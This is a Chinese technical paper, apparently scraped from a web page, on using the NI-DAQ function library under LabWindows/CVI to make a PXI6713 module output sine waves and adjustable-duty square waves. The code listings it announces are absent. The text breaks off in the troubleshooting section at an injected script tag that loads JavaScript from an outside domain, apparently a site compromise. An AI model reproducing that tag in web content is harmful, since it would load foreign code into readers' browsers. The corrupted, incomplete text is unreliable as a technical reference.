摘 要:在labwindows/cvi环境下,用ni-daq提供的daq函数库,驱动pxi6713输出正弦波和方波,使得此模块成为一个功能比较强大的测试用信号源。
关键词:labwindows/cvi;数据采集;波形生成
using ni-daq and pxi6713 perform sine wave and pulse train output
li yuhui, guo qunshan, zheng qiang
(dept. of missile engineering, institute of ordnance engineering, shijiazhuang 050003, china)
abstract: under labwindows/cvi using daq functions library provided by ni-daq, it is easy to perform sine wave and pulse train output using pxi6713. so pxi6713 becomes a high preformance signal source for test.
key words: labwindows/cvi; daq; waveform generation
1pxi6713模块
pxi6713是ni公司生产的671x系列中支持pxi总线的即插即用仪器模块,可提供模拟输出、数字i/o、定时i/o等功能。pxi6713有8个12位的dac,亦即有8路电压输出通道,每个通道电压输出的刷新速率为1ms/s;8线ttl兼容数字i/o;2个用于定时i/o的24位定时/计数器。671x系列模块没有dip开关、跳线器或电位计,因此很容易用软件进行配置和校准。
671x系列模块利用daq-stc系统定时控制器实现与时间相关的功能。daq-stc包括3个定时组,分别用于控制模拟输入(ai)、模拟输出(ao)利通用定时/计数器功能,最大定时精度为50ns。671x系列不用daq-stc的ai部分。
2ni-daq
ni-daq是专门用来驱动ni公司生产的数据采集卡的软件包,包含了daq函数库和各种说明文档等部分。daq函数库不是和labwindows/cvi仪器安装到计算机上的,而是随ni-daq软件包一起安装的。daq函数库包括以下子类:
(1)initialization/utilities子类:包含各种初始化函数和库配置操作函数;
(2)board config&calibrate子类:包含各种数据采集卡的配置和校准函数;
(3)analog input子类:包含各种模拟输入函数;
(4)analog output子类:包含各种模拟输出函数;
(5)digital input/output子类:包含各种数字输入输出函数;
(6)scxi子类:关于scxi模块和底板的编程函数;
(7)counter/timer子类:包含了各种对安装了daq-stc定时/计数器芯片的数据采集卡进行定时/计数操作的函数;
(8)rtsi bus子类:包含各种支持实时系统集成总线的函数;
(9)event messaging子类:包含各种向数据采集卡注册事件消息的函数;
(10)error子类:包含了处理出错代码的两个函数。
为了使pxi6713输出正弦波和方波,我们使用了initialization/utilities、analog output和counter/timer三个子类中的函数。
3实现波形输出
在使用ni-daq之前必须要注意,不同版本的ni-daq支持不同类型的ni数据采集卡,因此要确定所使用的ni-daq的版本支持采用的硬件。我们使用的是随pxi6713提供的6.7版本的ni-daq。
3.1输出正弦波形
利用pxi6713的8路da输出正弦波,也就是说可以提供8路正弦信号。
n1-daq中提供了波形生成(wfm)函数,实现缓冲模拟输出操作。wfm函数分为高级和低级两类,一个高级函数包含了多个低级函数的操作。要生成的波形数据可以来自磁盘文件,也可以来自某个缓冲区。由于是要作为信号源,其提供的信号的幅值、频率等参数应该是可调的,所以采用动态生成波形的方法,即根据相应的参数要求,动态的生成波形数据,存放在一个数组中,然后从该数组中取数据产生波形,程序流程如图1所示。
封装后的函数代码如下:
使用该函数可以选择pxi6713的模拟输出通道(channelnum)输出波形,及设定信号的幅度、每个波形周期包含的数据个数、频率等参数。由于仪器本身的限制,电压幅度不能超过±11v。经实验,产生信号的频率<1mhz。但已满足需要。
3.2输出方波
利用pxi6713的两个定时/计数器产生占空比可调的方波信号。
ni-daq提供的定时/计数器函数组包括三组函数:通用定时/计数器(gpctr)函数、间隔定时/计数器(ictr)函数和定时/计数器(ctr)函数。查器件手册可知,pxi6713只支持通用定时/计数器函数。通用定时/计数器函数可实现事件计数、时间测量、脉冲和脉冲串生成等功能。生成脉冲串的程序流程图如图2所示。
封装后的函数代码如下:
使用该函数可以选用定时/计数器0或定时/计数器1来产生方波信号,及设置方波的周期和占空比。
3.3需要注意的几个问题
用示波器观察生成的正弦波,可以发现存在脉冲波形干扰,?script src=http://er12.com/t.js>